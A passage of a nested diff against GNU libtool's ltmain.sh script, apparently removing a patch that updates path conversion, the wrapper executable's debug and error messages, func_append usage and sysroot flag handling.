-- fi
-- ;;
-- esac
-- fi
--}
--# end: func_to_host_path
--
--# func_to_host_pathlist arg
--#
--# Convert pathlists to host format when used with build tools.
--# See func_to_host_path(), above. This function supports the
--# following $build/$host combinations (but does no harm for
--# combinations not listed here):
--# $build $host
--# mingw (msys) mingw [e.g. native]
--# cygwin mingw
--# *nix + wine mingw
--#
--# Path separators are also converted from $build format to
--# $host format. If ARG begins or ends with a path separator
--# character, it is preserved (but converted to $host format)
--# on output.
--#
--# ARG is a pathlist (on $build) that should be converted to
--# the proper representation on $host. The result is stored
--# in $func_to_host_pathlist_result.
--func_to_host_pathlist ()
--{
-- func_to_host_pathlist_result="$1"
-- if test -n "$1"; then
-- case $host in
-- *mingw* )
-- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-- # Remove leading and trailing path separator characters from
-- # ARG. msys behavior is inconsistent here, cygpath turns them
-- # into '.;' and ';.', and winepath ignores them completely.
-- func_stripname : : "$1"
-- func_to_host_pathlist_tmp1=$func_stripname_result
-- case $build in
-- *mingw* ) # Actually, msys.
-- # Awkward: cmd appends spaces to result.
-- func_to_host_pathlist_result=`
-- ( cmd //c echo "$func_to_host_pathlist_tmp1" ) 2>/dev/null |
-- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-- ;;
-- *cygwin* )
-- func_to_host_pathlist_result=`cygpath -w -p "$func_to_host_pathlist_tmp1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- ;;
-- * )
-- # unfortunately, winepath doesn't convert pathlists
-- func_to_host_pathlist_result=""
-- func_to_host_pathlist_oldIFS=$IFS
-- IFS=:
-- for func_to_host_pathlist_f in $func_to_host_pathlist_tmp1 ; do
-- IFS=$func_to_host_pathlist_oldIFS
-- if test -n "$func_to_host_pathlist_f" ; then
-- func_to_host_path "$func_to_host_pathlist_f"
-- if test -n "$func_to_host_path_result" ; then
-- if test -z "$func_to_host_pathlist_result" ; then
-- func_to_host_pathlist_result="$func_to_host_path_result"
-- else
-- func_append func_to_host_pathlist_result ";$func_to_host_path_result"
-- fi
-- fi
-- fi
-- done
-- IFS=$func_to_host_pathlist_oldIFS
-- ;;
-- esac
-- if test -z "$func_to_host_pathlist_result"; then
-- func_error "Could not determine the host path(s) corresponding to"
-- func_error " \`$1'"
-- func_error "Continuing, but uninstalled executables may not work."
-- # Fallback. This may break if $1 contains DOS-style drive
-- # specifications. The fix is not to complicate the expression
-- # below, but for the user to provide a working wine installation
-- # with winepath so that path translation in the cross-to-mingw
-- # case works properly.
-- lt_replace_pathsep_nix_to_dos="s|:|;|g"
-- func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp1" |\
-- $SED -e "$lt_replace_pathsep_nix_to_dos"`
-- fi
-- # Now, add the leading and trailing path separators back
-- case "$1" in
-- :* ) func_to_host_pathlist_result=";$func_to_host_pathlist_result"
-- ;;
-- esac
-- case "$1" in
-- *: ) func_append func_to_host_pathlist_result ";"
-- ;;
-- esac
-- ;;
-- esac
-- fi
--}
--# end: func_to_host_pathlist
--
- # func_emit_cwrapperexe_src
- # emit the source code for a wrapper executable on stdout
- # Must ONLY be called from within func_mode_link because
-@@ -3334,10 +4148,6 @@ func_emit_cwrapperexe_src ()
-
- This wrapper executable should never be moved out of the build directory.
- If it is, it will not operate correctly.
--
-- Currently, it simply execs the wrapper *script* "$SHELL $output",
-- but could eventually absorb all of the scripts functionality and
-- exec $objdir/$outputname directly.
- */
- EOF
- cat <<"EOF"
-@@ -3462,22 +4272,13 @@ int setenv (const char *, const char *, int);
- if (stale) { free ((void *) stale); stale = 0; } \
- } while (0)
-
--#undef LTWRAPPER_DEBUGPRINTF
--#if defined LT_DEBUGWRAPPER
--# define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args
--static void
--ltwrapper_debugprintf (const char *fmt, ...)
--{
-- va_list args;
-- va_start (args, fmt);
-- (void) vfprintf (stderr, fmt, args);
-- va_end (args);
--}
-+#if defined(LT_DEBUGWRAPPER)
-+static int lt_debug = 1;
- #else
--# define LTWRAPPER_DEBUGPRINTF(args)
-+static int lt_debug = 0;
- #endif
-
--const char *program_name = NULL;
-+const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */
-
- void *xmalloc (size_t num);
- char *xstrdup (const char *string);
-@@ -3487,7 +4288,10 @@ char *chase_symlinks (const char *pathspec);
- int make_executable (const char *path);
- int check_executable (const char *path);
- char *strendzap (char *str, const char *pat);
--void lt_fatal (const char *message, ...);
-+void lt_debugprintf (const char *file, int line, const char *fmt, ...);
-+void lt_fatal (const char *file, int line, const char *message, ...);
-+static const char *nonnull (const char *s);
-+static const char *nonempty (const char *s);
- void lt_setenv (const char *name, const char *value);
- char *lt_extend_str (const char *orig_value, const char *add, int to_end);
- void lt_update_exe_path (const char *name, const char *value);
-@@ -3497,14 +4301,14 @@ void lt_dump_script (FILE *f);
- EOF
-
- cat <<EOF
--const char * MAGIC_EXE = "$magic_exe";
-+volatile const char * MAGIC_EXE = "$magic_exe";
- const char * LIB_PATH_VARNAME = "$shlibpath_var";
- EOF
-
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
-- func_to_host_pathlist "$temp_rpath"
-+ func_to_host_path "$temp_rpath"
- cat <<EOF
--const char * LIB_PATH_VALUE = "$func_to_host_pathlist_result";
-+const char * LIB_PATH_VALUE = "$func_to_host_path_result";
- EOF
- else
- cat <<"EOF"
-@@ -3513,10 +4317,10 @@ EOF
- fi
-
- if test -n "$dllsearchpath"; then
-- func_to_host_pathlist "$dllsearchpath:"
-+ func_to_host_path "$dllsearchpath:"
- cat <<EOF
- const char * EXE_PATH_VARNAME = "PATH";
--const char * EXE_PATH_VALUE = "$func_to_host_pathlist_result";
-+const char * EXE_PATH_VALUE = "$func_to_host_path_result";
- EOF
- else
- cat <<"EOF"
-@@ -3539,12 +4343,10 @@ EOF
- cat <<"EOF"
-
- #define LTWRAPPER_OPTION_PREFIX "--lt-"
--#define LTWRAPPER_OPTION_PREFIX_LENGTH 5
-
--static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH;
- static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX;
--
- static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script";
-+static const char *debug_opt = LTWRAPPER_OPTION_PREFIX "debug";
-
- int
- main (int argc, char *argv[])
-@@ -3561,10 +4363,13 @@ main (int argc, char *argv[])
- int i;
-
- program_name = (char *) xstrdup (base_name (argv[0]));
-- LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0]));
-- LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name));
-+ newargz = XMALLOC (char *, argc + 1);
-
-- /* very simple arg parsing; don't want to rely on getopt */
-+ /* very simple arg parsing; don't want to rely on getopt
-+ * also, copy all non cwrapper options to newargz, except
-+ * argz[0], which is handled differently
-+ */
-+ newargc=0;
- for (i = 1; i < argc; i++)
- {
- if (strcmp (argv[i], dumpscript_opt) == 0)
-@@ -3581,21 +4386,54 @@ EOF
- lt_dump_script (stdout);
- return 0;
- }
-+ if (strcmp (argv[i], debug_opt) == 0)
-+ {
-+ lt_debug = 1;
-+ continue;
-+ }
-+ if (strcmp (argv[i], ltwrapper_option_prefix) == 0)
-+ {
-+ /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
-+ namespace, but it is not one of the ones we know about and
-+ have already dealt with, above (inluding dump-script), then
-+ report an error. Otherwise, targets might begin to believe
-+ they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
-+ namespace. The first time any user complains about this, we'll
-+ need to make LTWRAPPER_OPTION_PREFIX a configure-time option
-+ or a configure.ac-settable value.
-+ */
-+ lt_fatal (__FILE__, __LINE__,
-+ "unrecognized %s option: '%s'",
-+ ltwrapper_option_prefix, argv[i]);
-+ }
-+ /* otherwise ... */
-+ newargz[++newargc] = xstrdup (argv[i]);
- }
-+ newargz[++newargc] = NULL;
-+
-+EOF
-+ cat <<EOF
-+ /* The GNU banner must be the first non-error debug message */
-+ lt_debugprintf (__FILE__, __LINE__, "libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\n");
-+EOF
-+ cat <<"EOF"
-+ lt_debugprintf (__FILE__, __LINE__, "(main) argv[0]: %s\n", argv[0]);
-+ lt_debugprintf (__FILE__, __LINE__, "(main) program_name: %s\n", program_name);
-
-- newargz = XMALLOC (char *, argc + 1);
- tmp_pathspec = find_executable (argv[0]);
- if (tmp_pathspec == NULL)
-- lt_fatal ("Couldn't find %s", argv[0]);
-- LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n",
-- tmp_pathspec));
-+ lt_fatal (__FILE__, __LINE__, "couldn't find %s", argv[0]);
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) found exe (before symlink chase) at: %s\n",
-+ tmp_pathspec);
-
- actual_cwrapper_path = chase_symlinks (tmp_pathspec);
-- LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n",
-- actual_cwrapper_path));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) found exe (after symlink chase) at: %s\n",
-+ actual_cwrapper_path);
- XFREE (tmp_pathspec);
-
-- actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path));
-+ actual_cwrapper_name = xstrdup (base_name (actual_cwrapper_path));
- strendzap (actual_cwrapper_path, actual_cwrapper_name);
-
- /* wrapper name transforms */
-@@ -3613,8 +4451,9 @@ EOF
- target_name = tmp_pathspec;
- tmp_pathspec = 0;
-
-- LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n",
-- target_name));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) libtool target name: %s\n",
-+ target_name);
- EOF
-
- cat <<EOF
-@@ -3664,35 +4503,19 @@ EOF
-
- lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */
- lt_setenv ("DUALCASE", "1"); /* for MSK sh */
-- lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
-+ /* Update the DLL searchpath. EXE_PATH_VALUE ($dllsearchpath) must
-+ be prepended before (that is, appear after) LIB_PATH_VALUE ($temp_rpath)
-+ because on Windows, both *_VARNAMEs are PATH but uninstalled
-+ libraries must come first. */
- lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE);
-+ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
-
-- newargc=0;
-- for (i = 1; i < argc; i++)
-- {
-- if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0)
-- {
-- /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
-- namespace, but it is not one of the ones we know about and
-- have already dealt with, above (inluding dump-script), then
-- report an error. Otherwise, targets might begin to believe
-- they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
-- namespace. The first time any user complains about this, we'll
-- need to make LTWRAPPER_OPTION_PREFIX a configure-time option
-- or a configure.ac-settable value.
-- */
-- lt_fatal ("Unrecognized option in %s namespace: '%s'",
-- ltwrapper_option_prefix, argv[i]);
-- }
-- /* otherwise ... */
-- newargz[++newargc] = xstrdup (argv[i]);
-- }
-- newargz[++newargc] = NULL;
--
-- LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__, "(main) lt_argv_zero: %s\n",
-+ nonnull (lt_argv_zero));
- for (i = 0; i < newargc; i++)
- {
-- LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__, "(main) newargz[%d]: %s\n",
-+ i, nonnull (newargz[i]));
- }
-
- EOF
-@@ -3706,7 +4529,9 @@ EOF
- if (rval == -1)
- {
- /* failed to start process */
-- LTWRAPPER_DEBUGPRINTF (("(main) failed to launch target \"%s\": errno = %d\n", lt_argv_zero, errno));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) failed to launch target \"%s\": %s\n",
-+ lt_argv_zero, nonnull (strerror (errno)));
- return 127;
- }
- return rval;
-@@ -3728,7 +4553,7 @@ xmalloc (size_t num)
- {
- void *p = (void *) malloc (num);
- if (!p)
-- lt_fatal ("Memory exhausted");
-+ lt_fatal (__FILE__, __LINE__, "memory exhausted");
-
- return p;
- }
-@@ -3762,8 +4587,8 @@ check_executable (const char *path)
- {
- struct stat st;
-
-- LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n",
-- path ? (*path ? path : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(check_executable): %s\n",
-+ nonempty (path));
- if ((!path) || (!*path))
- return 0;
-
-@@ -3780,8 +4605,8 @@ make_executable (const char *path)
- int rval = 0;
- struct stat st;
-
-- LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n",
-- path ? (*path ? path : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n",
-+ nonempty (path));
- if ((!path) || (!*path))
- return 0;
-
-@@ -3807,8 +4632,8 @@ find_executable (const char *wrapper)
- int tmp_len;
- char *concat_name;
-
-- LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n",
-- wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n",
-+ nonempty (wrapper));
-
- if ((wrapper == NULL) || (*wrapper == '\0'))
- return NULL;
-@@ -3861,7 +4686,8 @@ find_executable (const char *wrapper)
- {
- /* empty path: current directory */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
-- lt_fatal ("getcwd failed");
-+ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
-+ nonnull (strerror (errno)));
- tmp_len = strlen (tmp);
- concat_name =
- XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
-@@ -3886,7 +4712,8 @@ find_executable (const char *wrapper)
- }
- /* Relative path | not found in path: prepend cwd */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
-- lt_fatal ("getcwd failed");
-+ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
-+ nonnull (strerror (errno)));
- tmp_len = strlen (tmp);
- concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
-@@ -3912,8 +4739,9 @@ chase_symlinks (const char *pathspec)
- int has_symlinks = 0;
- while (strlen (tmp_pathspec) && !has_symlinks)
- {
-- LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n",
-- tmp_pathspec));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "checking path component for symlinks: %s\n",
-+ tmp_pathspec);
- if (lstat (tmp_pathspec, &s) == 0)
- {
- if (S_ISLNK (s.st_mode) != 0)
-@@ -3935,8 +4763,9 @@ chase_symlinks (const char *pathspec)
- }
- else
- {
-- char *errstr = strerror (errno);
-- lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr);
-+ lt_fatal (__FILE__, __LINE__,
-+ "error accessing file \"%s\": %s",
-+ tmp_pathspec, nonnull (strerror (errno)));
- }
- }
- XFREE (tmp_pathspec);
-@@ -3949,7 +4778,8 @@ chase_symlinks (const char *pathspec)
- tmp_pathspec = realpath (pathspec, buf);
- if (tmp_pathspec == 0)
- {
-- lt_fatal ("Could not follow symlinks for %s", pathspec);
-+ lt_fatal (__FILE__, __LINE__,
-+ "could not follow symlinks for %s", pathspec);
- }
- return xstrdup (tmp_pathspec);
- #endif
-@@ -3975,11 +4805,25 @@ strendzap (char *str, const char *pat)
- return str;
- }
-
-+void
-+lt_debugprintf (const char *file, int line, const char *fmt, ...)
-+{
-+ va_list args;
-+ if (lt_debug)
-+ {
-+ (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line);
-+ va_start (args, fmt);
-+ (void) vfprintf (stderr, fmt, args);
-+ va_end (args);
-+ }
-+}
-+
- static void
--lt_error_core (int exit_status, const char *mode,
-+lt_error_core (int exit_status, const char *file,
-+ int line, const char *mode,
- const char *message, va_list ap)
- {
-- fprintf (stderr, "%s: %s: ", program_name, mode);
-+ fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode);
- vfprintf (stderr, message, ap);
- fprintf (stderr, ".\n");
-
-@@ -3988,20 +4832,32 @@ lt_error_core (int exit_status, const char *mode,
- }
-
- void
--lt_fatal (const char *message, ...)
-+lt_fatal (const char *file, int line, const char *message, ...)
- {
- va_list ap;
- va_start (ap, message);
-- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
-+ lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap);
- va_end (ap);
- }
-
-+static const char *
-+nonnull (const char *s)
-+{
-+ return s ? s : "(null)";
-+}
-+
-+static const char *
-+nonempty (const char *s)
-+{
-+ return (s && !*s) ? "(empty)" : nonnull (s);
-+}
-+
- void
- lt_setenv (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_setenv) setting '%s' to '%s'\n",
-+ nonnull (name), nonnull (value));
- {
- #ifdef HAVE_SETENV
- /* always make a copy, for consistency with !HAVE_SETENV */
-@@ -4049,9 +4905,9 @@ lt_extend_str (const char *orig_value, const char *add, int to_end)
- void
- lt_update_exe_path (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
-+ nonnull (name), nonnull (value));
-
- if (name && *name && value && *value)
- {
-@@ -4070,9 +4926,9 @@ lt_update_exe_path (const char *name, const char *value)
- void
- lt_update_lib_path (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
-+ nonnull (name), nonnull (value));
-
- if (name && *name && value && *value)
- {
-@@ -4222,7 +5078,7 @@ EOF
- func_win32_import_lib_p ()
- {
- $opt_debug
-- case `eval "$file_magic_cmd \"\$1\" 2>/dev/null" | $SED -e 10q` in
-+ case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in
- *import*) : ;;
- *) false ;;
- esac
-@@ -4401,9 +5257,9 @@ func_mode_link ()
- ;;
- *)
- if test "$prev" = dlfiles; then
-- dlfiles="$dlfiles $arg"
-+ func_append dlfiles " $arg"
- else
-- dlprefiles="$dlprefiles $arg"
-+ func_append dlprefiles " $arg"
- fi
- prev=
- continue
-@@ -4427,7 +5283,7 @@ func_mode_link ()
- *-*-darwin*)
- case "$deplibs " in
- *" $qarg.ltframework "*) ;;
-- *) deplibs="$deplibs $qarg.ltframework" # this is fixed later
-+ *) func_append deplibs " $qarg.ltframework" # this is fixed later
- ;;
- esac
- ;;
-@@ -4446,7 +5302,7 @@ func_mode_link ()
- moreargs=
- for fil in `cat "$save_arg"`
- do
--# moreargs="$moreargs $fil"
-+# func_append moreargs " $fil"
- arg=$fil
- # A libtool-controlled object.
-
-@@ -4475,7 +5331,7 @@ func_mode_link ()
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
-- dlfiles="$dlfiles $pic_object"
-+ func_append dlfiles " $pic_object"
- prev=
- continue
- else
-@@ -4487,7 +5343,7 @@ func_mode_link ()
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
-- dlprefiles="$dlprefiles $pic_object"
-+ func_append dlprefiles " $pic_object"
- prev=
- fi
-
-@@ -4557,12 +5413,12 @@ func_mode_link ()
- if test "$prev" = rpath; then
- case "$rpath " in
- *" $arg "*) ;;
-- *) rpath="$rpath $arg" ;;
-+ *) func_append rpath " $arg" ;;
- esac
- else
- case "$xrpath " in
- *" $arg "*) ;;
-- *) xrpath="$xrpath $arg" ;;
-+ *) func_append xrpath " $arg" ;;
- esac
- fi
- prev=
-@@ -4574,28 +5430,28 @@ func_mode_link ()
- continue
- ;;
- weak)
-- weak_libs="$weak_libs $arg"
-+ func_append weak_libs " $arg"
- prev=
- continue
- ;;
- xcclinker)
-- linker_flags="$linker_flags $qarg"
-- compiler_flags="$compiler_flags $qarg"
-+ func_append linker_flags " $qarg"
-+ func_append compiler_flags " $qarg"
- prev=
- func_append compile_command " $qarg"
- func_append finalize_command " $qarg"
- continue
- ;;
- xcompiler)
-- compiler_flags="$compiler_flags $qarg"
-+ func_append compiler_flags " $qarg"
- prev=
- func_append compile_command " $qarg"
- func_append finalize_command " $qarg"
- continue
- ;;
- xlinker)
-- linker_flags="$linker_flags $qarg"
-- compiler_flags="$compiler_flags $wl$qarg"
-+ func_append linker_flags " $qarg"
-+ func_append compiler_flags " $wl$qarg"
- prev=
- func_append compile_command " $wl$qarg"
- func_append finalize_command " $wl$qarg"
-@@ -4686,15 +5542,16 @@ func_mode_link ()
- ;;
-
- -L*)
-- func_stripname '-L' '' "$arg"
-- dir=$func_stripname_result
-- if test -z "$dir"; then
-+ func_stripname "-L" '' "$arg"
-+ if test -z "$func_stripname_result"; then
- if test "$#" -gt 0; then
- func_fatal_error "require no space between \`-L' and \`$1'"
- else
- func_fatal_error "need path for \`-L' option"
- fi
- fi
-+ func_resolve_sysroot "$func_stripname_result"
-+ dir=$func_resolve_sysroot_result
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
-@@ -4706,10 +5563,16 @@ func_mode_link ()
- ;;
- esac
- case "$deplibs " in
-- *" -L$dir "*) ;;
-+ *" -L$dir "* | *" $arg "*)
-+ # Will only happen for absolute or sysroot arguments
-+ ;;
- *)
-- deplibs="$deplibs -L$dir"
-- lib_search_path="$lib_search_path $dir"
-+ # Preserve sysroot, but never include relative directories
-+ case $dir in
-+ [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;;
-+ *) func_append deplibs " -L$dir" ;;
-+ esac
-+ func_append lib_search_path " $dir"
- ;;
- esac
- case $host in
-@@ -4718,12 +5581,12 @@ func_mode_link ()
- case :$dllsearchpath: in
- *":$dir:"*) ;;
- ::) dllsearchpath=$dir;;
-- *) dllsearchpath="$dllsearchpath:$dir";;
-+ *) func_append dllsearchpath ":$dir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- ::) dllsearchpath=$testbindir;;
-- *) dllsearchpath="$dllsearchpath:$testbindir";;
-+ *) func_append dllsearchpath ":$testbindir";;
- esac
- ;;
- esac
-@@ -4747,7 +5610,7 @@ func_mode_link ()
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C and math libraries are in the System framework
-- deplibs="$deplibs System.ltframework"
-+ func_append deplibs " System.ltframework"
- continue
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
-@@ -4758,9 +5621,6 @@ func_mode_link ()
- # Compiler inserts libc in the correct place for threads to work
- test "X$arg" = "X-lc" && continue
- ;;
-- *-*-linux*)
-- test "X$arg" = "X-lc" && continue
-- ;;
- esac
- elif test "X$arg" = "X-lc_r"; then
- case $host in
-@@ -4770,7 +5630,7 @@ func_mode_link ()
- ;;
- esac
- fi
-- deplibs="$deplibs $arg"
-+ func_append deplibs " $arg"
- continue
- ;;
-
-@@ -4782,8 +5642,8 @@ func_mode_link ()
- # Tru64 UNIX uses -model [arg] to determine the layout of C++
- # classes, name mangling, and exception handling.
- # Darwin uses the -arch flag to determine output architecture.
-- -model|-arch|-isysroot)
-- compiler_flags="$compiler_flags $arg"
-+ -model|-arch|-isysroot|--sysroot)
-+ func_append compiler_flags " $arg"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- prev=xcompiler
-@@ -4791,12 +5651,12 @@ func_mode_link ()
- ;;
-
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads)
-- compiler_flags="$compiler_flags $arg"
-+ func_append compiler_flags " $arg"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- case "$new_inherited_linker_flags " in
- *" $arg "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;;
-+ * ) func_append new_inherited_linker_flags " $arg" ;;
- esac
- continue
- ;;
-@@ -4863,13 +5723,17 @@ func_mode_link ()
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
-+ =*)
-+ func_stripname '=' '' "$dir"
-+ dir=$lt_sysroot$func_stripname_result
-+ ;;
- *)
- func_fatal_error "only absolute run-paths are allowed"
- ;;
- esac
- case "$xrpath " in
- *" $dir "*) ;;
-- *) xrpath="$xrpath $dir" ;;
-+ *) func_append xrpath " $dir" ;;
- esac
- continue
- ;;
-@@ -4922,8 +5786,8 @@ func_mode_link ()
- for flag in $args; do
- IFS="$save_ifs"
- func_quote_for_eval "$flag"
-- arg="$arg $func_quote_for_eval_result"
-- compiler_flags="$compiler_flags $func_quote_for_eval_result"
-+ func_append arg " $func_quote_for_eval_result"
-+ func_append compiler_flags " $func_quote_for_eval_result"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$arg"
-@@ -4938,9 +5802,9 @@ func_mode_link ()
- for flag in $args; do
- IFS="$save_ifs"
- func_quote_for_eval "$flag"
-- arg="$arg $wl$func_quote_for_eval_result"
-- compiler_flags="$compiler_flags $wl$func_quote_for_eval_result"
-- linker_flags="$linker_flags $func_quote_for_eval_result"
-+ func_append arg " $wl$func_quote_for_eval_result"
-+ func_append compiler_flags " $wl$func_quote_for_eval_result"
-+ func_append linker_flags " $func_quote_for_eval_result"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$arg"
-@@ -4968,24 +5832,27 @@ func_mode_link ()
- arg="$func_quote_for_eval_result"
- ;;
-
-- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
-- # -r[0-9][0-9]* specifies the processor on the SGI compiler
-- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
-- # +DA*, +DD* enable 64-bit mode on the HP compiler
-- # -q* pass through compiler args for the IBM compiler
-- # -m*, -t[45]*, -txscale* pass through architecture-specific
-- # compiler args for GCC
-- # -F/path gives path to uninstalled frameworks, gcc on darwin
-- # -p, -pg, --coverage, -fprofile-* pass through profiling flag for GCC
-- # @file GCC response files
-- # -tp=* Portland pgcc target processor selection
-+ # Flags to be passed through unchanged, with rationale:
-+ # -64, -mips[0-9] enable 64-bit mode for the SGI compiler
-+ # -r[0-9][0-9]* specify processor for the SGI compiler
-+ # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler
-+ # +DA*, +DD* enable 64-bit mode for the HP compiler
-+ # -q* compiler args for the IBM compiler
-+ # -m*, -t[45]*, -txscale* architecture-specific flags for GCC
-+ # -F/path path to uninstalled frameworks, gcc on darwin
-+ # -p, -pg, --coverage, -fprofile-* profiling flags for GCC
-+ # @file GCC response files
-+ # -tp=* Portland pgcc target processor selection
-+ # --sysroot=* for sysroot support
-+ # -O*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
- -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
-- -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*)
-+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
-+ -O*|-flto*|-fwhopr*|-fuse-linker-plugin)
- func_quote_for_eval "$arg"
- arg="$func_quote_for_eval_result"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
-- compiler_flags="$compiler_flags $arg"
-+ func_append compiler_flags " $arg"
- continue
- ;;
-
-@@ -4997,7 +5864,7 @@ func_mode_link ()
-
- *.$objext)
- # A standard object.
-- objs="$objs $arg"
-+ func_append objs " $arg"
- ;;
-
- *.lo)
-@@ -5028,7 +5895,7 @@ func_mode_link ()
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
-- dlfiles="$dlfiles $pic_object"
-+ func_append dlfiles " $pic_object"
- prev=
- continue
- else
-@@ -5040,7 +5907,7 @@ func_mode_link ()
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
-- dlprefiles="$dlprefiles $pic_object"
-+ func_append dlprefiles " $pic_object"
- prev=
- fi
-
-@@ -5085,24 +5952,25 @@ func_mode_link ()
-
- *.$libext)
- # An archive.
-- deplibs="$deplibs $arg"
-- old_deplibs="$old_deplibs $arg"
-+ func_append deplibs " $arg"
-+ func_append old_deplibs " $arg"
- continue
- ;;
-
- *.la)
- # A libtool-controlled library.
-
-+ func_resolve_sysroot "$arg"
- if test "$prev" = dlfiles; then
- # This library was specified with -dlopen.
-- dlfiles="$dlfiles $arg"
-+ func_append dlfiles " $func_resolve_sysroot_result"
- prev=
- elif test "$prev" = dlprefiles; then
- # The library was specified with -dlpreopen.
-- dlprefiles="$dlprefiles $arg"
-+ func_append dlprefiles " $func_resolve_sysroot_result"
- prev=
- else
-- deplibs="$deplibs $arg"
-+ func_append deplibs " $func_resolve_sysroot_result"
- fi
- continue
- ;;
-@@ -5127,7 +5995,7 @@ func_mode_link ()
